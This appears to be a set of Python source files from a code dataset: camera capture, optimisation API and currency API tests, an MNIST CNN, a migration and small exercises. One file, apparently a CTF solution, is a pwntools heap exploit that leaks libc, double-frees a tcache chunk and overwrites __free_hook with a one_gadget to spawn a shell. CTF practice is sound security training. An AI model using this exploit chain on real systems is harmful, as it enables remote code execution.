---------------------------------------------> X (1280)\r\n | \r\n | ______Width________\r\n | | |\r\n | | |\r\n | High |\r\n | | |\r\n | |___________________| \r\n |\r\n\r\n Y\r\n\r\n (1024)\r\n\r\n'''\r\n\r\n\r\nclass ThorlabsCamer():\r\n def __init__(self):\r\n\r\n self.insts = list_instruments()\r\n print(self.insts)\r\n \r\n\r\n def ConnectCamera(self):\r\n self.cam = instrument(self.insts[0])\r\n print(self.cam)\r\n\r\n\r\n\r\n def SetCamera(self, yshift = 0, xshift = 0, hight = 1024, width = 1280, exposeTime = \"0.01[ms]\"):\r\n self.yshift = yshift\r\n self.xshift = xshift\r\n\r\n self.hight = hight\r\n self.width = width\r\n\r\n self.exposure_time = str(exposeTime/1000.0) + \"[ms]\"\r\n\r\n print(\"(yshift , xshift , hight, width) is: \", yshift, xshift, hight, width)\r\n print(\"Camera Set !\")\r\n\r\n\r\n def SingleImageData(self, infoObjSingle):\r\n try:\r\n self.cam.start_capture(left = self.xshift, right = self.xshift + self.width, top = self.yshift,\r\n bot = self.yshift + self.hight, exposure_time = self.exposure_time)\r\n image = self.cam.get_captured_image(timeout='1s', copy=True)\r\n except Exception:\r\n print(\"ERROR OCCURE !\")\r\n infoObjSingle.append(\"ERROR OCCURE !\")\r\n\r\n else:\r\n return image\r\n\r\n\r\n def MultiImageData(self, infoObj, frame_number_expected = 100, segment_frame = 50):\r\n\r\n t0 = Time.time()\r\n\r\n for j in range(int(frame_number_expected / segment_frame)):\r\n # Initialized the image data for each segment_fame\r\n self.data = self.SingleImageData(infoObj)\r\n print(\"The {}th segment\".format(j))\r\n\r\n for i in range(segment_frame - 1): # because that initial data is not an empty space.\r\n\r\n data_temp = self.SingleImageData(infoObj)\r\n\r\n # Time.sleep(0.05)\r\n self.data = np.append(self.data, data_temp, axis=0)\r\n\r\n print(\"the data shape is:\", self.data.shape)\r\n infoObj.setTextColor(QtCore.Qt.green)\r\n infoObj.append(\"the data shape is:\" + str(self.data.shape))\r\n np.save('camera_{}_{}'.format(frame_number_expected, j), self.data.astype(np.uint8))\r\n del self.data\r\n \r\n infoObj.append(\"Time consumed to save the data is:\" + str(Time.time() - t0) )\r\n\r\n print(\"Time consumed to save the data is:\", Time.time() - t0)\r\n\r\n\r\n\r\nclass ReadData():\r\n\r\n def __init__(self, noteObj, frameNumber, segmentFrame, width, hight, fileName = \"NoGlass\"):\r\n\r\n self.frameNumber = frameNumber\r\n self.segmentFrame = segmentFrame\r\n self.width = width\r\n self.hight = hight\r\n self.fileName = fileName\r\n\r\n self.image = np.load('camera_{}_0.npy'.format(self.frameNumber))\r\n print(\"The segment data shape is: \", self.image.shape)\r\n self.noteObj = noteObj\r\n #self.noteObj.appendPlainText(\"the data has saved as .nc file! \")\r\n\r\n\r\n def ImageData(self):\r\n\r\n for j in range(1, int(int(self.frameNumber / self.segmentFrame))):\r\n temp_data = np.load('camera_{}_{}.npy'.format(self.frameNumber, j))\r\n # print(temp_data.shape)\r\n self.image = np.append(self.image, temp_data, axis=0)\r\n\r\n self.image = np.reshape(self.image, [self.frameNumber, self.hight, self.width])\r\n\r\n print(\"The dataForSave shape is: \", self.image.shape)\r\n\r\n #exposure_time = self.expose_spinbox.value()\r\n exposureTime = 1\r\n\r\n ## note that here we have change the data type uint8 --> int16\r\n \r\n ds = xr.Dataset({'CameraMatrix': (['frameNumber', 'hight', 'width'], self.image.astype(np.int16))},\r\n attrs={'frameNumber': self.frameNumber, \r\n 'width':self.width,\r\n 'hight':self.hight,\r\n 'exposure_time': exposureTime, \r\n \"note\":self.noteObj.toPlainText()}\r\n )\r\n\r\n\r\n print(self.noteObj.toPlainText())\r\n \r\n return ds \r\n \r\n #ds.to_netcdf(self.fileName + '.nc')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cam = ThorlabsCamer()\r\n cam.ConnectCamera()\r\n cam.SetCamera()\r\n data = cam.SingleImageData()\r\n cam.MultiImageData()\r\n\r\n plt.subplot(111)\r\n plt.imshow(data)\r\n plt.colorbar()\r\n\r\n #plt.savefig('oneframe.eps', format='eps', dpi=300)\r\n\r\n plt.show()","sub_path":"ThorlabsCamera.py","file_name":"ThorlabsCamera.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"625925258","text":"import requests\nimport json\n\nimport sasoptpy as so\nfrom sasoptpy.api import api\nso.reset_globals()\n\ndef test(cashost, port):\n\n # Start server\n api.start(thread=True, host='127.0.0.1', port=5000)\n\n host = 'http://127.0.0.1:5000'\n\n # Get server and version info\n res = requests.get(host)\n\n # Create new workspace\n res = requests.post(host + '/workspaces',\n data={'name': 'myworkspace',\n 'password': 12345})\n\n # If workspace exists, renew the token\n res = requests.post(host + '/workspaces/myworkspace',\n data={'password': 12345})\n\n # Save the token\n token = 'Bearer ' + res.json()['token']\n headers = {'Authorization': token}\n\n # Clean workspace\n res = requests.post(host, data={'action': 'clean'}, headers=headers)\n\n # Create a new CAS session\n res = requests.post(host + '/sessions', headers=headers,\n data={'name': 'mycas', 'host': cashost, 'port': port})\n\n # Create a new model\n res = requests.post(host + '/models', headers=headers,\n data={'name': 'knapsack', 'session': 'mycas'})\n\n # Create variables\n res = requests.post(host + '/models/knapsack/variable_groups', headers=headers,\n json={'name': 'pick', 'index': [[\"pen\",\"watch\",\"cup\"]], 'vartype': 'integer'})\n\n # Set objective function\n res = requests.post(host + '/models/knapsack/objectives', headers=headers,\n json={'expression': \"5*pick['pen']+20*pick['watch']+2*pick['cup']\", 'sense': 'maximize',\n 'name': 'total_value'})\n\n # Capacity constraint\n res = requests.post(host + '/models/knapsack/constraints', headers=headers,\n json={'expression': \"1*pick['pen']+3*pick['watch']+10*pick['cup']<=22\", 'name': 'total_weight'})\n\n # Individual limits for items\n res = requests.post(host + '/models/knapsack/constraint_groups', headers=headers,\n json={\n 'expression': 'pick[i]<=5', 'index': \"for i in ['pen','watch','cup']\",\n 'name': 'bounds'})\n\n # Get optmodel code of the model\n res = requests.get(host+'/models/knapsack', headers=headers,\n params={'format': 'optmodel'})\n print(res.json()['optmodel'])\n\n # Solve the model\n res = requests.post(host + '/models/knapsack/solutions', headers=headers,\n data={'stream': False})\n sols = res.json()['solutions']\n for i in sols:\n print(i, sols[i])\n","sub_path":"examples/rest_knapsack.py","file_name":"rest_knapsack.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"179134173","text":"def countChar (sentence, char):\n\tcount = 0\n\tfor i in range (len(sentence)-1):\n\t\tif (sentence[i] == char):\n\t\t\tif(sentence[i+1] == char):\n\t\t\t\tcount += 1\n\treturn count\n\nfrase = \"\"\n\nwhile (True):\n\tfrase = input(\"Digite uma frase contendo palavras separadas por um unico espaco em branco:\")\n\n\tif(countChar(frase, \" \") == 0):\n\t\tbreak\n\telse:\n\t\tprint(\"Frase com mais um espaco seguido.\")\n\nwhile (True):\n\tletra = input(\"Digite uma letra a sua escolha para o programa exibir quantas vezes esta letra ocorre na frase: (Digite @ para encerrar a execucao:)\")\n\tif (letra == \"@\"):\n\t\tbreak\n\tcount = 0\n\tfor i in range (len(frase)-1):\n\t\tif (frase[i]==letra):\n\t\t\tcount += 1\n\tprint(\"A letra aparece\", count, \"vezes na frase.\")","sub_path":"2019/1/ICC/python/string/exercicio1.py","file_name":"exercicio1.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"180703729","text":"import urllib.request\nimport json\n\nuser_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64)'\n\n \ndef get_quote_json():\n url = 'http://quotesondesign.com/wp-json/posts?filter[orderby]=rand&filter[posts_per_page]=1'\n headers = {'User-Agent': user_agent}\n req = urllib.request.Request(url, headers=headers)\n with urllib.request.urlopen(req) as response:\n json_response = json.loads(response.read().decode('utf-8').replace(\"'\",'\"'))\n return json_response","sub_path":"app/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"465126757","text":"\"\"\"\nTODO:\n- compute number of parameters\n- implement a global pooling layer (as in GoogLeNet / ResNet)\n- several models\nDONE\n- cumulated computing time (by epochs) instead of just one number\n- batch normalization: https://keras.io/layers/normalization/\n\n\"\"\"\nimport time\nimport struct\nimport functools\n\nimport numpy as np\nimport matplotlib . pyplot as pyplot\n\nimport tensorflow as tf\n\n# constants\nmnist_image_shape = (28, 28, 1)\nmnist_input_size = functools . reduce (lambda a, b : a * b, mnist_image_shape)\nmnist_output_size = 10\n\nmode = \"simple\"\n\n# input params\nnb_epochs = 40\n\nsimple_convolution_layers_params = [\n {\n \"nb filters\" : 32,\n \"filter size\" : (3, 3),\n \"strides\" : (1, 1),\n \"batch normalization\" : False,\n \"activation\" : \"relu\",\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n {\n \"nb filters\" : 128,\n \"filter size\" : (3, 3),\n \"strides\" : (1, 1),\n \"batch normalization\" : True,\n \"activation\" : \"relu\",\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n]\nsimple_dense_layers_params = [\n {\n \"size\" : 70,\n \"activation\" : \"relu\",\n },\n {\n \"size\" : 58,\n \"activation\" : \"relu\",\n },\n]\n\nsimple_training_params = {\n \"nb epochs\" : nb_epochs,\n \"batch size\" : 64,\n}\n\n# kaggle example\n\nnb_epochs = 40\nkaggle_convolution_layers_params = [\n {\n \"nb filters\" : 24,\n \"filter size\" : (5, 5),\n \"strides\" : (1, 1),\n \"batch normalization\" : True,\n \"activation\" : \"relu\",\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n {\n \"nb filters\" : 48,\n \"filter size\" : (5, 5),\n \"strides\" : (1, 1),\n \"batch normalization\" : True,\n \"activation\" : \"relu\",\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n]\nkaggle_dense_layers_params = [\n {\n \"size\" : 256,\n \"activation\" : \"relu\",\n },\n]\n\nkaggle_training_params = {\n \"nb epochs\" : nb_epochs,\n \"batch size\" : 64,\n}\n\n# test mode\n\ntest_convolution_layers_params = [\n {\n \"nb filters\" : 10,\n \"filter size\" : (3, 3),\n \"strides\" : (1, 1),\n \"activation\" : \"relu\",\n \"batch normalization\" : False,\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n {\n \"nb filters\" : 10,\n \"filter size\" : (3, 3),\n \"strides\" : (1, 1),\n \"activation\" : \"relu\",\n \"batch normalization\" : True,\n \"max pooling size\" : (2, 2),\n \"dropout rate\" : 0.25,\n },\n]\ntest_dense_layers_params = [\n {\n \"size\" : 70,\n \"activation\" : \"relu\",\n },\n {\n \"size\" : 58,\n \"activation\" : \"relu\",\n },\n]\ntest_training_params = {\n \"nb epochs\" : 2,\n \"batch size\" : 64,\n}\n\n\n# functions\n\n\ndef compute_number_of_parameters (model_params):\n # note: biases\n nb_params = 0\n data_shape = mnist_image_shape\n for conv_params in model_params [\"conv layers\"]:\n nb_conv_params = conv_params [\"nb filters\"] * (conv_params [\"filter size\"] [0] * conv_params [\"filter size\"] [0] * data_shape [2] + 1) # + 1 bias\n nb_params += nb_conv_params\n if (conv_params [\"batch normalization\"]):\n nb_params += conv_params [\"nb filters\"] * 4\n data_shape = [ (data_shape [i] - conv_params [\"filter size\"] [i] + 1) // conv_params [\"max pooling size\"] [i] for i in range (2) ] + [ conv_params [\"nb filters\"], ]\n prev_size = data_shape [0] * data_shape [1] * data_shape [2]\n for dense_params in model_params [\"dense layers\"]:\n nb_dense_params = dense_params [\"size\"] * (prev_size + 1)\n nb_params += nb_dense_params\n prev_size = dense_params [\"size\"]\n nb_dense_params = 10 * (prev_size + 1)\n nb_params += nb_dense_params\n return nb_params\n \n\ndef build_conv_block (model, conv_block_params, input_shape = None):\n\n if (input_shape is None):\n model . add (tf . keras . layers . Conv2D (conv_block_params [\"nb filters\"], conv_block_params [\"filter size\"], activation = conv_block_params [\"activation\"], data_format = \"channels_last\"))\n else:\n model . add (tf . keras . layers . Conv2D (conv_block_params [\"nb filters\"], conv_block_params [\"filter size\"], activation = conv_block_params [\"activation\"], input_shape = input_shape, data_format = \"channels_last\"))\n\n try:\n if (conv_block_params [\"batch normalization\"]):\n model . add (tf . keras . layers . BatchNormalization (axis = 3)) # channels last\n except (KeyError):\n # no batch normalization\n pass\n\n try:\n model . add (tf . keras . layers . MaxPooling2D (pool_size = conv_block_params [\"max pooling size\"]))\n except (KeyError):\n # no max pooling\n pass\n\n try:\n model . add (tf . keras . layers . Dropout (conv_block_params [\"dropout rate\"]))\n except (KeyError):\n # no dropout\n pass\n\n\n\ndef build_dense_layer (model, dense_layer_params):\n model . add (tf . keras . layers . Dense (dense_layer_params [\"size\"], activation = dense_layer_params [\"activation\"]))\n\n\ndef build_model (model_params):\n model = tf . keras . Sequential ()\n conv_layers_params = model_params [\"conv layers\"]\n build_conv_block (model, conv_layers_params [0], input_shape = model_params [\"input shape\"])\n for conv_block_params in conv_layers_params [ 1 : ]:\n build_conv_block (model, conv_block_params)\n model . add (tf . keras . layers . Flatten ())\n for dense_layer_params in model_params [\"dense layers\"]:\n build_dense_layer (model, dense_layer_params)\n model . add (tf . keras . layers . Dense (mnist_output_size, activation = \"softmax\"))\n return model\n\n\n\ndef read_the_mnist_data (data_set_name):\n # http://yann.lecun.com/exdb/mnist/ (idx format)\n # https://stackoverflow.com/questions/39969045/parsing-yann-lecuns-mnist-idx-file-format\n # (in particular: https://stackoverflow.com/a/53181925/2148753)\n data_set_dir = \"../mnist/\"\n images_file_name = data_set_dir + data_set_name + \"-images-idx3-ubyte\"\n labels_file_name = data_set_dir + data_set_name + \"-labels-idx1-ubyte\"\n with open (images_file_name, \"rb\") as images_file:\n magic, nb_images = struct . unpack (\">II\", images_file . read (8))\n if (magic != 2051):\n raise Exception (\"wrong file\")\n nb_rows, nb_cols = struct . unpack (\">II\", images_file . read (8))\n image_shape = (nb_rows, nb_cols, 1) # channels last\n images = np . fromfile (images_file, dtype = np . dtype (np . uint8) . newbyteorder (\">\")) . astype (np . float32) / 255.\n images = images . reshape ((nb_images, ) + image_shape)\n with open (labels_file_name, \"rb\") as labels_file:\n magic, nb_labels = struct . unpack (\">II\", labels_file . read (8))\n if (magic != 2049):\n raise Exception (\"wrong file\")\n if (nb_labels != nb_images):\n raise Exception (\"nbr of labels is not equal to number of images\")\n labels = np . fromfile (labels_file, dtype = np . dtype (np . uint8) . newbyteorder (\">\"))\n labels = labels . reshape ((nb_images, ))\n return nb_images, images, labels\n\n\n\"\"\"\nhttps://stackoverflow.com/questions/43178668/record-the-computation-time-for-each-epoch-in-keras-during-model-fit\n(Marcin Możejko)\n\"\"\"\nclass TimeAndEvaluationCallback (tf . keras . callbacks . Callback):\n\n def on_train_begin (self, logs = {}):\n self . training_times = []\n self . test_loss = []\n self . test_acc = []\n\n def on_epoch_begin (self, epoch, logs = {}):\n self . epoch_start_time = time . time ()\n\n def on_epoch_end (self, epoch, logs = {}):\n self . training_times . append (time . time () - self . epoch_start_time)\n loss, acc = self . model . evaluate (test_images, test_labels, batch_size = self . params [\"batch_size\"])\n self . test_loss . append (loss)\n self . test_acc . append (acc)\n\n\n# derived parameters \n\nif (mode == \"test\"):\n convolution_layers_params = test_convolution_layers_params\n dense_layers_params = test_dense_layers_params\n training_params = test_training_params\nelif (mode == \"simple\"):\n convolution_layers_params = simple_convolution_layers_params\n dense_layers_params = simple_dense_layers_params\n training_params = simple_training_params\nelif (mode == \"kaggle\"):\n convolution_layers_params = kaggle_convolution_layers_params\n dense_layers_params = kaggle_dense_layers_params\n training_params = kaggle_training_params\n\nmodel_params = {\n \"input shape\" : mnist_image_shape,\n \"conv layers\" : convolution_layers_params,\n \"dense layers\" : dense_layers_params,\n}\n\nnb_convolution_layers = len (model_params [\"conv layers\"])\nif (nb_convolution_layers == 0):\n raise Exception (\"no conv?\")\nnb_hidden_dense_layers = len (model_params [\"dense layers\"])\n\n\n# main\n\nnb_train_images, train_images, train_labels = read_the_mnist_data (\"train\")\nnb_test_images, test_images, test_labels = read_the_mnist_data (\"t10k\")\nprint (\"Nbr train images: \" + str (nb_train_images))\nprint (\"Nbr test images: \" + str (nb_test_images))\n\n#print (train_images [0] . shape)\n\n\n\nmodel = build_model (model_params)\n\noptimizer = tf . keras . optimizers . SGD (lr = 0.01, decay = 1e-6, momentum = 0.9, nesterov = True)\nmodel . compile (loss = \"sparse_categorical_crossentropy\", optimizer = optimizer, metrics = [ \"accuracy\", ])\n\nnb_params = compute_number_of_parameters (model_params)\nprint (\"computed nb params=\" + str (nb_params))\n\n\ntiming_and_evaluation_callback = TimeAndEvaluationCallback ()\ntrain_history = model . fit (train_images, train_labels, epochs = training_params [\"nb epochs\"], batch_size = training_params [\"batch size\"], callbacks = [ timing_and_evaluation_callback, ])\n\ntotal_training_time = sum (timing_and_evaluation_callback . training_times)\ncumulated_training_times = [ sum (timing_and_evaluation_callback . training_times [ : e + 1]) for e in range (training_params [\"nb epochs\"]) ]\ntest_loss_history = timing_and_evaluation_callback . test_loss\ntest_accuracy_history = timing_and_evaluation_callback . test_acc\n\n\nxlist = np . arange (training_params [\"nb epochs\"])\n\npyplot . plot (xlist, test_accuracy_history)\npyplot . plot (xlist, train_history . history [\"acc\"])\npyplot . legend ([\"Train acc\", \"Test acc\"])\npyplot . title (\"Accuracy\")\npyplot . xlabel (\"Epoch\")\npyplot . show ()\n\npyplot . plot (xlist, test_loss_history)\npyplot . plot (xlist, train_history . history [\"loss\"])\npyplot . legend ([\"Train loss\", \"Test loss\"])\npyplot . title (\"Loss\")\npyplot . xlabel (\"Epoch\")\npyplot . show ()\n\n\npyplot . plot (xlist, cumulated_training_times)\npyplot . title (\"Training time\")\npyplot . xlabel (\"Epoch\")\npyplot . show ()\n\nprint (total_training_time)\n\n\n","sub_path":"answers/3/mnist-cnn.py","file_name":"mnist-cnn.py","file_ext":"py","file_size_in_byte":10116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"122619134","text":"from pwn import *\n\np = process(\"./nonono\")\n#p = remote(\"edu-ctf.csie.org\", 10178)\nl = ELF(\"./libc.so.6\")\n# use gdb, find the remain addr - libc addr\noffset = 0x00007f2ba5b9eca0 - 0x00007f2ba57b3000\n\ndef add(size, note, IDX):\n\tp.sendlineafter('>>', '1')\n\tp.sendlineafter('IDX : ', str(IDX))\n\tp.sendlineafter('SIZE : ', str(size))\n\tp.sendlineafter('CONTENT: ', note)\n\ndef show(index):\n\tp.sendlineafter('>> ', '2')\n\tp.sendlineafter('IDX :', str(index))\n\ndef delete(index):\n\tp.sendlineafter('>> ', '3')\n\tp.sendlineafter('IDX : ', str(index))\n\n# 0x410 for tcache unsorted bin\nadd( 0x410, 'leak', 0)\n# prevent unsorted bin to be merged to Top\nadd( 0x20 , 'a', 1)\ndelete(0)\npause() # time to find offset\n\nshow(0)\np.recvline()\nl.address = u64( p.recv(6) + '\\0\\0' ) - offset\nsuccess( 'libc -> %s' % hex(l.address))\n\ndelete(1)\ndelete(1)\nprint(hex(l.sym.__free_hook))\npause()\nadd( 0x20, p64( l.sym.__free_hook ))\nadd( 0x20, 'a')\n# 0x4f322 is one_gadget\nadd( 0x20, p64( l.address + 0x4f322))\n\n# double free to trigger crash and libc will call __free_hook\ndelete(3)\n\np.sendline(\"id\")\nprint(p.recvline())\np.interactive()\n","sub_path":"PWN/AIS3/nonono/broken_exp.py","file_name":"broken_exp.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"639002601","text":"\"\"\"Adds encoded_at timestamp\n\nRevision ID: e62d063f87e7\nRevises: 11ddcccec497\nCreate Date: 2019-09-13 00:46:42.945184\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e62d063f87e7'\ndown_revision = '11ddcccec497'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('videos', sa.Column('encoded_at', sa.DateTime(timezone=True), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('videos', 'encoded_at')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/e62d063f87e7_adds_encoded_at_timestamp.py","file_name":"e62d063f87e7_adds_encoded_at_timestamp.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"472621370","text":"__author__ = 'Leo Lourenco'\n\n\"\"\"\n Escreva um programa que leia dois números.\n Imprima o resultado da divisão do primeiro pelo segundo, assim como o resto da divsisão.\n Para isso utilize apenas os operadores de\n soma e subtração para calcular o resultado.\n Exemplo: 20 / 4 = 5\n Solução: 20 = ((-4 -4 -4 -4 -4) * 5).\n\"\"\"\n\nprint(\"***Divisão***\")\nnum1 = int(input(\"Digite o primeiro número: \"))\nnum2 = int(input(\"Digite o segundo número: \"))\n\nresto = 0\n\nif num1 or num2 != 0:\n print(\"A divisão dos números digitados é: \")\n while num1 >= num2:\n print(num1)\n num1 = num1 - num2\n resto = num1\n print(\"O resto da divisão é: %i\" % resto)","sub_path":"Cap5/Exercicio/exerc5.9.py","file_name":"exerc5.9.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"489626849","text":"from unittest import TestCase\nimport requests\nimport json\n\nfrom app import HOST, PORT\n\nURL_ADDRESS = f\"http://{HOST}:{PORT}\"\n\n\nclass ViewCurrenciesApiTesting(TestCase):\n header = {'content-type': 'application/json'}\n\n def test_disable_all_currencies_from_api(self):\n # Title: Disable all Currencies from API endpoint.\n # step 1: Find all symbols in database and insert in list\n # step 2: Do a for in the list and if the symbol is avialable, do the unavailable.\n # Expected result: If the symbol is available, it will unavailable the currency.\n\n from currency_exchange.blueprints.database.read import reading_all_symbols_from_table_exchange_rate\n all_symbols = reading_all_symbols_from_table_exchange_rate()\n\n for symbol in all_symbols:\n if symbol.available is True:\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": symbol.symbol, \"available\": False}\n requests.post(url, data=json.dumps(data_content), headers=self.header)\n req = requests.get(f\"{URL_ADDRESS}/currencies\")\n req_json = req.json()\n self.assertNotIn(symbol.symbol, req_json)\n\n def test_enable_all_currencies_from_api(self):\n # Title: Enable all Currencies from API endpoint.\n # step 1: Find all symbols in database and insert in list\n # step 2: Do a for in the list and if the symbol is unavailable, do the available.\n # Expected result: If the symbol is unavailable, it will avialable the currency.\n\n from currency_exchange.blueprints.database.read import reading_all_symbols_from_table_exchange_rate\n all_symbols_from_database = reading_all_symbols_from_table_exchange_rate()\n\n for symbol in all_symbols_from_database:\n if symbol.available is False:\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": symbol.symbol, \"available\": True}\n requests.post(url, data=json.dumps(data_content), headers=self.header)\n req = requests.get(f\"{URL_ADDRESS}/currencies\")\n req_json = req.json()\n self.assertIn(symbol.symbol, req_json)\n\n def test_add_new_currency(self):\n # Title: Add a new currency from API endpoint\n # step 1: Unavailable all currencies\n # step 2: Do a API post in endpoint /currencies and insert a symbol and rate thats is not in database\n # step 3: The API endpoint must response with right value\n # step 4: find the currency added in step 2 in the /currencies endpoint\n # Expeted result: The API endpoint must add sucessfully the currency.\n\n from currency_exchange.blueprints.utils.randomReturn import randomic_letters_uppercase\n from currency_exchange.blueprints.utils.randomReturn import random_float_number\n\n self.test_enable_all_currencies_from_api()\n url = f\"{URL_ADDRESS}/currencies\"\n symbol_random = randomic_letters_uppercase(10)\n rate_random = random_float_number()\n data_content = {\"symbol\": symbol_random, \"rate\": rate_random}\n requests.post(url, data=json.dumps(data_content), headers=self.header)\n r_get = requests.get(url, data=json.dumps(data_content), headers=self.header)\n json_request = r_get.json()\n self.assertIn(symbol_random, json_request)\n\n def test_delete_specific_currency(self):\n # Title: from currencies API endpoint, do a delete and verify its unavailable\n # step 1: Enable all currencies from database.\n # step 2: Do a delete method in API endpoint /currencies with a valid symbol\n # Expected result: The currency must be unavailable in currencies endpoint API.\n\n self.test_enable_all_currencies_from_api()\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": \"USD\"}\n r = requests.delete(url, data=json.dumps(data_content), headers=self.header)\n # self.assertEqual(r.status_code, 200)\n # req = requests.get(f\"{URL_ADDRESS}/currencies\")\n # req_json = req.json()\n # self.assertNotIn(\"USD\", req_json)\n\n def test_disable_currency_verify_all_currencies(self):\n # Title: Disable the currency from post endpoint API and valid its unavailable.\n # step 1: Enable all currencies\n # step 2: Do a POST in currencie API endpoint with valid symbol and available in False\n # step 3: The symbol must be deleted\n # Expected Result: The symbol must be deleted sucessfully.\n\n self.test_enable_all_currencies_from_api()\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": \"BRL\", \"available\": False}\n r = requests.post(url, data=json.dumps(data_content), headers=self.header)\n self.assertEqual(first=r.status_code, second=200)\n req = requests.get(f\"{URL_ADDRESS}/currencies\").json()\n self.assertNotIn(\"BRL\", req)\n\n def test_disable_from_post_currency_try_convert(self):\n # Title: Disable the currency\n # step 1: Enable all currencies from API\n # step 2: Do a POST in API endpoint with symbol and available = False\n # step 3: Verify the status code = 200, it indicate that the currency was disabled.\n # Expected result: The page must return the 200 status code.\n\n self.test_enable_all_currencies_from_api()\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": \"BRL\", \"available\": False}\n r = requests.post(url, data=json.dumps(data_content), headers=self.header)\n self.assertEqual(first=r.status_code, second=200)\n\n def test_delete_all_currencies(self):\n # Title: Delete all currencies from API currencies endpoint\n # step 1: enable all currencies from API endpoint\n # step 2: read all symbols from database\n # step 3: Read each symbol in database and delete it in endpoint with delete method\n # Expected Result: The symbol must be deleted sucessfuly.\n\n self.test_enable_all_currencies_from_api()\n from currency_exchange.blueprints.database.read import reading_all_symbols_from_table_exchange_rate\n all_symbols = reading_all_symbols_from_table_exchange_rate()\n\n for symbol in all_symbols:\n if symbol.available:\n data_content = {\"symbol\": symbol.symbol}\n url = f\"{URL_ADDRESS}/currencies\"\n requests.delete(url, data=json.dumps(data_content), headers=self.header)\n req = requests.get(f\"{URL_ADDRESS}/currencies\")\n req_json = req.json()\n self.assertNotIn(symbol.symbol, req_json)\n\n def test_delete_currency_without_symbol(self):\n # Title: Delete a currency without insert the symbol in Body\n # step 1: Enable all currencies from API\n # step 2: Try to delete a currency without give a symbol in body of json\n # Expected result: It should return a status code 409 and not be able to delete a currency\n\n self.test_enable_all_currencies_from_api()\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"available\": True}\n delete_method = requests.delete(url, data=json.dumps(data_content), headers=self.header)\n self.assertEqual(delete_method.status_code, 409)\n\n def test_insert_new_currency_without_rate(self):\n # Title: Try to insert a new currency without give the rate in body\n # step 1: Try to do a POST METHOD in currencies API endpoint without the rate, only with the symbol\n # step 2: Verify the status code and check it return the 409\n # Expected Result: The status code must return the 409\n\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"symbol\": \"JJJJJJJJJ\"}\n post_method = requests.post(url, data=json.dumps(data_content), headers=self.header)\n self.assertEqual(post_method.status_code, 409)\n\n def test_insert_new_currency_without_symbol(self):\n # Title: Try to insert a new currency without symbol in JSON body\n # step 1: Try to do a POST METHOD in currencies API endpoint without the SYMBOL, only with the rate\n # step 2: Verify the status code and check it return the 409\n # Expected result: The status code must return the 409\n\n url = f\"{URL_ADDRESS}/currencies\"\n data_content = {\"rate\": 1.1}\n post_method = requests.post(url, data=json.dumps(data_content), headers=self.header)\n print(post_method)\n","sub_path":"currency_exchange/tests/unit/view/test_currencies_api.py","file_name":"test_currencies_api.py","file_ext":"py","file_size_in_byte":8469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"82130642","text":"import os\n\nFILE_PATH = 'static/mymusic'\n\nclass music_file:\n def __init__(self, r, fn, mid=0):\n self.mid = mid # music_id\n self.r = unicode(r, 'utf-8') # root\n self.fn = unicode(fn, 'utf-8') # file_name\n self.url = self.r + u'/' + self.fn\n\nclass music_files:\n def __init__(self):\n self.files = []\n self.file_id = 0\n for mf in find_all_files(FILE_PATH):\n mf.mid = self.file_id\n self.files.insert(mf.mid, mf)\n self.file_id = self.file_id + 1\n\n def insert(self, i, mf):\n self.files.insert(i, mf)\n\n def get_files(self):\n return self.files\n\ndef find_all_files(directory):\n for root, dirs, files in os.walk(FILE_PATH):\n for f in files:\n mf = music_file(root,f)\n # yield os.path.join(root, file)\n yield mf\n","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"556960361","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport feature_selection\nfrom Preprocessing import preprocessing_datetime, preposses_encoding\n\n\n# In[3]:\n\n\nfinal_features = feature_selection.selected_features\n\n\n# In[5]:\n\n\ndf = pd.read_excel(r\"data\\Data_Train.xlsx\")\n\n\n# In[8]:\n\n\ndf = preprocessing_datetime(df)\ndf= preposses_encoding(df)\n\n\n# 